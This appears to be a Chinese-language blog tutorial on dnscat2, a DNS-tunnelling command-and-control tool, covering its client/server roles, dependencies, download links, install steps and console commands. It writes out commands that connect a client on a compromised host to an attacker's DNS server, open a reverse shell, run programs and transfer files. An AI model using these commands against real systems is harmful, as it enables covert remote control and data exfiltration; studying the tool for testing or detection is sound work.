『DNS隧道工具』— dnscat2

一、入坑必读

1、简介

dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……

使用热度: ★★★★☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

3、放哪儿

攻击机 被控机
服务端 客户端

4、支持Type

  • A
  • TXT
  • CNAME
  • MX
  • AAAA

注意: 默认是TXT、CNAME、MX随机混合使用

5、兼容说明

  • 服务端为Ruby编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:

    • ecdsa
    • salsa20
    • sha3
    • trollop

    依次安装即可,范例:gem install ecdsa-1.2.0.gem

    这些gem依赖、服务端、客户端等所有工具,下面的下载地址已打包提供!

    当然你也可以去https://rubygems.org/gems网站上搜索并下载所有的gem依赖。

  • 客户端为C编写,使用前需先编译,Windows编译可使用VS、Linux则直接make install

  • 这里也提供编译好的Win客户端

    • exe:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
    • ps:https://github.com/lukebaggett/dnscat2-powershell

6、全套下载地址

  • CSDN:https://download.csdn.net/download/localhost01/10931769

二、原理简述

Dnscat2分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

如果您没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显(所有域名都以dnscat为前缀,除非你破解了源代码)。防火墙经常会阻止此模式。

服务端:

Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

三、安装使用

1、安装

服务端:

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install

客户端:

# 如果是上面地址直接下载的,则跳过
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

2、使用

在服务端机器上,执行:

#启动
sudo ruby./dnscat2.rb abc.com --secret=123456   #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456   #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3

方式1:

  • abc.com 自定义DNS传输的域名
  • –secret 自定义连接密码

方式2(直连):

  • server&port 表示监听本机的533端口
  • –secret 自定义连接密码

方式3:

  • –secret 定义了通讯密码。

    两端使用时,均需跟上该密码,可防止中间人攻击。如果不加,dnscat2会生成一个随机字符串,记得拷贝下来在启动客户端时使用。

    同时服务端在运行时,也可通过set secret=来动态改变

  • –security 规定了安全级别。

    默认情况下,客户端和服务器都支持并会尝试加密。Open表示服务端允许客户端不加密,这样,客户端就可以通过传递–no-encryption参数来禁用加密。当然也可以在编译时,就禁用客户端加密:make nocrypto

    同时服务端在运行时,也可通过set security=open来动态改变。

  • –no-cache 禁止缓存

    使用powershell-dnscat2客户端时,务必在运行服务器时添加无缓存选项,因为与dnscat2服务器的caching模式不兼容。

在客户端机器上,执行:

dnscat --secret=123456 abc.com    #对应 方式1
dnscat --dns server=<your dnscat2 server ip>,port=553,type=TXT   #对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上

其中:

  • 服务端的公网IP,表示不走DNS服务商这一步,直接向dnscat2服务端所在的服务器IP请求DNS解析
  • -t 使用的DNS类型

客户端连上后,会提示:Session established!

而服务端的控制台输入:windows,即可以看到一个客户端上线:

1 :: command (DESKTOP-7NSDT5)……

其中:

  • 1表示该客户端ID,如果使用window -i 1,即可进入该通道;

键入shell,即可得到一个半交互shell!(相比dns2tcp,使用起来不是很流畅)~

help可查看控制台支持的命令,常用的有:

  • quit (退出控制台)
  • kill (中断通道)
  • set(设值,比如设置security=open)
  • windows(列举出所有的通道)
  • window -i (连接某个通道)

    连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

    • clear(清屏)
    • delay(修改远程会话超时时间)
    • exec(执行远程机上的程序)
    • shell(得到一个反弹shell)
    • download/upload(两端之间上传下载文件)
    • supend(返回到上一层,等于快捷键ctrl+z

你可能感兴趣的:(网络安全,DNS隧道工具系列,dnscat2,dns隧道,使用教程)